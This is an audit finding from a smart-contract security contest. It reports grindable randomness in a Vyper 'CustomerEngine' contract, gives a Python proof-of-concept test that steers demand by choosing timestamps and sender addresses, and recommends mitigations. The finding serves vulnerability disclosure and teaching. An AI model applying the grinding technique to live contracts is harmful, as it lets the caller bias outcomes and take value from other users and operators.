Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Predictable “randomness” (miner/user manipulable) in trigger_demand()

Description

  • CustomerEngine.trigger_demand() chooses how many items a “customer” will request using a pseudo‑random seed derived from block.timestamp and msg.sender. That demand is then capped by MAX_REQUEST, and the caller pays requested * ITEM_PRICE (excess refunded) before the engine forwards the exact sale value to CompanyGame.sell_to_customer().

  • The seed is computed as:

    • seed = keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32)))

    • requested = (seed % 5) + 1 + extra_item_chance, where extra_item_chance = 1 if (seed % 100) < (rep - 50)
      Because block.timestamp is miner‑controlled within bounds and users control msg.sender (they can rotate EOAs), the demand outcome is predictable and manipulable. Attackers can time transactions and/or pick addresses to bias seed, yielding larger requests (up to the cap) and more favorable economics/reputation changes.

// Root cause in the codebase with @> marks to highlight the relevant section
// File: CustomerEngine.vy
@payable
@external
def trigger_demand():
# Cooldown & reputation checks omitted for brevity ...
# @> Pseudo-random demand calculation based on controllable inputs
seed: uint256 = convert(
keccak256(
concat(
convert(block.timestamp, bytes32), # @> miner-adjustable within leeway
convert(msg.sender, bytes32) # @> user-controlled (choose address)
)
),
uint256,
)
base: uint256 = seed % 5 # 0..4
extra_item_chance: uint256 = 0
if (seed % 100) < (rep - 50): # @> depends on seed; rep is public & known
extra_item_chance = 1
requested: uint256 = base + 1 + extra_item_chance # 1..6
requested = min(requested, MAX_REQUEST) # cap at 5

Risk

Likelihood: High

  • Occurs whenever an attacker can choose when to send the transaction (to exploit block.timestamp sensitivity) or use multiple EOAs/contracts to vary msg.sender.

  • Occurs whenever miners (or block producers) can nudge timestamp within allowed bounds, common on public chains, skewing outcomes favorably.

Impact: High

  • Demand amplification & profit skew. Attackers bias larger requested values, increasing revenue events and inventory turnover at their discretion.

  • Reputation manipulation. Successful sales increase reputation; predictable demand enables targeted reputation pumping and downstream gating circumvention.

Proof of Concept

# tests/test_predictable_randomness.py
# Run with: mox test -k test_predictable_randomness
#
# Demonstrates that by adjusting block.timestamp (miner-like control)
# and choosing different msg.sender addresses (user control),
# we can steer the "random" requested amount in trigger_demand().
import boa
import pytest
COMPANY_PATH = "src/Cyfrin_Hub.vy"
ENGINE_PATH = "src/CustomerEngine.vy"
ITEM_PRICE = 2 * 10**16 # 0.02 ETH
MAX_REQUEST = 5
MAX_COST = ITEM_PRICE * MAX_REQUEST # safe upper bound for payment
def setup_company_and_engine():
owner = boa.env.generate_address()
boa.env.set_balance(owner, 10**21)
with boa.env.prank(owner):
company = boa.load(COMPANY_PATH)
engine = boa.load(ENGINE_PATH)
# Wire the engine and prepare inventory/funds
company.set_customer_engine(engine.address)
company.fund_cyfrin(0, value=10**19) # 10 ETH
company.produce(100)
return owner, company, engine
def _requested_from_sale(company, before_balance, after_balance):
# Holding cost is applied before revenue. To avoid noise,
# set block.timestamp == last_hold_time so cost == 0.
SALE_PRICE = 2 * 10**16
delta = after_balance - before_balance
assert delta % SALE_PRICE == 0, "Delta not a multiple of SALE_PRICE; ensure holding cost is zero"
return delta // SALE_PRICE
@pytest.mark.usefixtures()
def test_predictable_randomness_by_timestamp_and_sender():
owner, company, engine = setup_company_and_engine()
# Ensure no holding cost in this test run:
# Read last_hold_time and set block.timestamp to it before each call
base_ts = company.last_hold_time()
# Prepare two different callers to vary msg.sender
userA = boa.env.generate_address()
userB = boa.env.generate_address()
boa.env.set_balance(userA, 10**21)
boa.env.set_balance(userB, 10**21)
# 1) Same timestamp, different senders -> different requested values
boa.env.set_block_timestamp(base_ts + 61) # +COOLDOWN to allow first call
beforeA = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
afterA = company.get_balance()
reqA = _requested_from_sale(company, beforeA, afterA)
# Keep same timestamp window but use a different sender
boa.env.set_block_timestamp(base_ts + 61 + 1) # tick by 1 sec to bypass A's cooldown window
beforeB = company.get_balance()
with boa.env.prank(userB):
engine.trigger_demand(value=MAX_COST)
afterB = company.get_balance()
reqB = _requested_from_sale(company, beforeB, afterB)
assert reqA != reqB, (
"Different msg.sender values at essentially the same time produced the same demand; "
"expected variability from seed(msg.sender, timestamp)"
)
# 2) Same sender, varying timestamps -> steer requested toward a target (e.g., 5)
# Advance in chunks to skip per-address COOLDOWN (60s)
target = 5
found = False
for i in range(1, 20): # search across 20 time slots
ts = base_ts + 61 + i * 120 # ensure > COOLDOWN for userA
boa.env.set_block_timestamp(ts)
before = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
after = company.get_balance()
req = _requested_from_sale(company, before, after)
if req == target:
found = True
break
assert found, "Failed to hit target requested=5 by timestamp steering; try increasing search range."
print(f"[PoC] Found timestamp that yields requested={target} for userA")
# 3) Show that reputation gating is satisfied (rep>=MIN_REPUTATION) and still manipulable
# The company starts with reputation=100, so extra_item_chance triggers ~50% of the time.
# We demonstrate by finding at least one call where requested exceeds base+1.
boa.env.set_block_timestamp(base_ts + 61 + 5000) # fresh window
beforeC = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
afterC = company.get_balance()
reqC = _requested_from_sale(company, beforeC, afterC)
assert 1 <= reqC <= MAX_REQUEST, "Demand should be within the 1..MAX_REQUEST cap"
# (We don't assert exact extra-item condition here; it's probabilistic—this section is illustrative.)

Recommended Mitigation

- # Pseudo-random based on timestamp and sender (manipulable)
- seed: uint256 = convert(
- keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))),
- uint256,
- )
- base: uint256 = seed % 5
- if (seed % 100) < (rep - 50): # extra_item_chance uses same seed
- extra_item_chance = 1
- requested: uint256 = base + 1 + extra_item_chance
- requested = min(requested, MAX_REQUEST)
+ # Option A: Commit–Reveal (two-phase) — resistant to miner/user manipulation
+ # Phase 1 (user): commit(bytes32 commit_hash)
+ # Phase 2 (later): reveal(bytes32 salt) -> verify keccak256(salt, msg.sender) == commit_hash
+ # Use the *previous* block hash in the reveal phase:
+ # seed = keccak256(concat(blockhash(block.number - 1), salt, msg.sender))
+ # Then derive requested from seed. This prevents same-tx manipulation and reduces miner control.
+ # (Requires adding commit/reveal storage + timing checks.)
+ # Option B: External randomness (VRF / beacon)
+ # Integrate a verifiable randomness oracle (e.g., VRF) to obtain an unbiased seed:
+ # seed = vrf_randomness
+ # Then: requested = (seed % MAX_REQUEST) + 1
+ # (Be explicit about trust/cost and handle async callbacks.)
+ # Option C: Deterministic demand (no randomness)
+ # If randomness isn't essential, define demand deterministically from reputation and rate limits,
+ # removing timing games entirely.
Updates

Lead Judging Commences

0xshaedyw Lead Judge
about 2 months ago
0xshaedyw Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Medium – Predictable Seed

Demand randomness is grindable via timestamp and sender, enabling biased outcomes and reputation manipulation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!